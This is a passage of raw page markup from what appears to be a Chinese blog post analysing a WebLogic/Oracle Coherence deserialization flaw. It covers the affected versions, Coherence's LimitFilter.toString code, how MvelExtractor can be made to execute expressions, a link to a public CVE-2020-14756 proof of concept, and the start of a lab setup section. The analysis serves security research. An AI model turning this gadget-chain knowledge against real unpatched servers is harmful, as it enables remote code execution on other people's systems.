12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHlR-1673942089626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5280/WEBRESOURCE97805d0cd1508976378ea7dc181cc994&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，比如com.tangosol.coherence.rest.util.extractor.MvelExtractor的extract方法将会直接执行Mvel表达式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5Lb-1673942993611&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5284/WEBRESOURCEf0e388f9350b3a52ab91ac1ebb28d0a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jSs3-1673937394754&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uVKL-1673937394753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6gza-1673946934904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04BA-1673946934903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;46s3-1673947020224&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0WKI-1673947020223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9v4V-1673947020226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdps-1673940653476&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLIT-1673940711109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Sw-1673940711110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6aX-1673940701477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01zo-1673861449893&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dU1v-1673575967334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sl9B-1673575967332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考文章：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQ5l-1673575720108&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZl9-1673575720107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;qpLh-1673575948943&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRvk-1673575948942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vqad-1673575948944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n1fj-1673577318648&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTAT-1673577318646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;q9D8-1673577319028&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrP6-1673577319027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXy-1673577319029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rynN-1673575952755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6dR-1673575952752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;eXpr-1673575953055&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cY3-1673575953054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h2uO-1673575953056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqwR-1673575959748&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAcW-1673575959746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;9rNx-1673575960046&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFJs-1673575960045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgeu-1673575960048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNWq-1673575964381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWgC-1673575964378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Ns7j-1673575964739&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://wjlshare.com/archives/1573&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxIl-1673575964738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://wjlshare.com/archives/1573&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6eF-1673575964740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLif-1673947585247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOpO-1673947585245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;2mKY-1673947585794&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYfr-1673947585793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq2F-1673947585795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6342062193126022" data-s="300,640" style="" data-type="png" data-w="2444" src="https://wechat2rss.xlab.app/img-proxy/?k=f70858e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21y45Yd1fn0ic34cDDI84Rf4oRw7eW09AHyBicHSMicOVjibMEEbSM2wqEcPA%2F640%3Fwx_fmt%3Dpng"/></p></article><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6299918500407498" data-s="300,640" style="" data-type="png" data-w="2454" src="https://wechat2rss.xlab.app/img-proxy/?k=055c5c08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yzbdtUA0LGfw3XvunpqHr3n43icnJqvIgJVIcHRqUfH3BqzG1XHhmqog%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB90-1673490914896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9etu-1673490914894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFyQ-1673490306271&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWH1-1673490306270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NqCj-1673490309103&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipCq-1673490309101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TMC-1673490962449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kyq5-1673490962448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搭建环境参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY3t-1673491068908&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYuE-1673491068907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;k0LB-1673491048381&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6nn-1673491048382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAWq-1673491048394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MN0h-1673491025538&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0Ks-1673491025537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ec7-1673491193208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4894/WEBRESOURCEf4e134824542b9848635f4816e821f7e&#34;,&#34;width&#34;:535,&#34;height&#34;:251},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Fk-1673491074875&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TyTf-1673491074874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle官网即可下载：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31K6-1673491372095&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efh2-1673491372094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G4Lb-1673491398542&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tuui-1673491398541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;21j4-1673491398543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1Qb-1673491377746&